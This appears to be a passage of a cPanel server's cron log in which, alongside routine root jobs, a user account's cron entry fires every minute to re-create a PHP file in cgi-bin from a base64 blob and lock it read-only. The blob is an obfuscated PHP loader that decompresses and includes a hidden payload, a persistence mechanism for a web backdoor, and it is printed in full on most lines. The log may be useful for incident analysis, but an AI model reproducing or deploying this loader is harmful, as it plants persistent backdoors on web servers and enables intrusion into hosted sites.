Apr 10 03:24:01 server CROND[25342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:25:01 server CROND[25415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:25:01 server CROND[25417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:25:01 server CROND[25416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:25:21 server run-parts(/etc/cron.daily)[25834]: finished maldet
Apr 10 03:25:21 server run-parts(/etc/cron.daily)[24976]: starting man-db.cron
Apr 10 03:25:22 server run-parts(/etc/cron.daily)[26252]: finished man-db.cron
Apr 10 03:25:22 server anacron[23245]: Job `cron.daily' terminated
Apr 10 03:25:22 server anacron[23245]: Normal exit (1 job run)
Apr 10 03:26:01 server CROND[27478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:27:01 server CROND[27532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:27:01 server CROND[27533]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr 10 03:27:01 server CROND[27534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 03:28:01 server CROND[27690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:29:01 server CROND[27746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:30:01 server CROND[27804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 03:30:01 server CROND[27807]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:30:01 server CROND[27806]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:30:01 server CROND[27805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:31:01 server CROND[27924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:32:01 server CROND[27982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:33:01 server CROND[28140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:34:01 server CROND[28200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:35:01 server CROND[28262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 03:35:01 server CROND[28263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 03:35:01 server CROND[28265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 03:35:01 server CROND[28266]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 03:35:01 server CROND[28264]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 03:36:01 server CROND[28385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
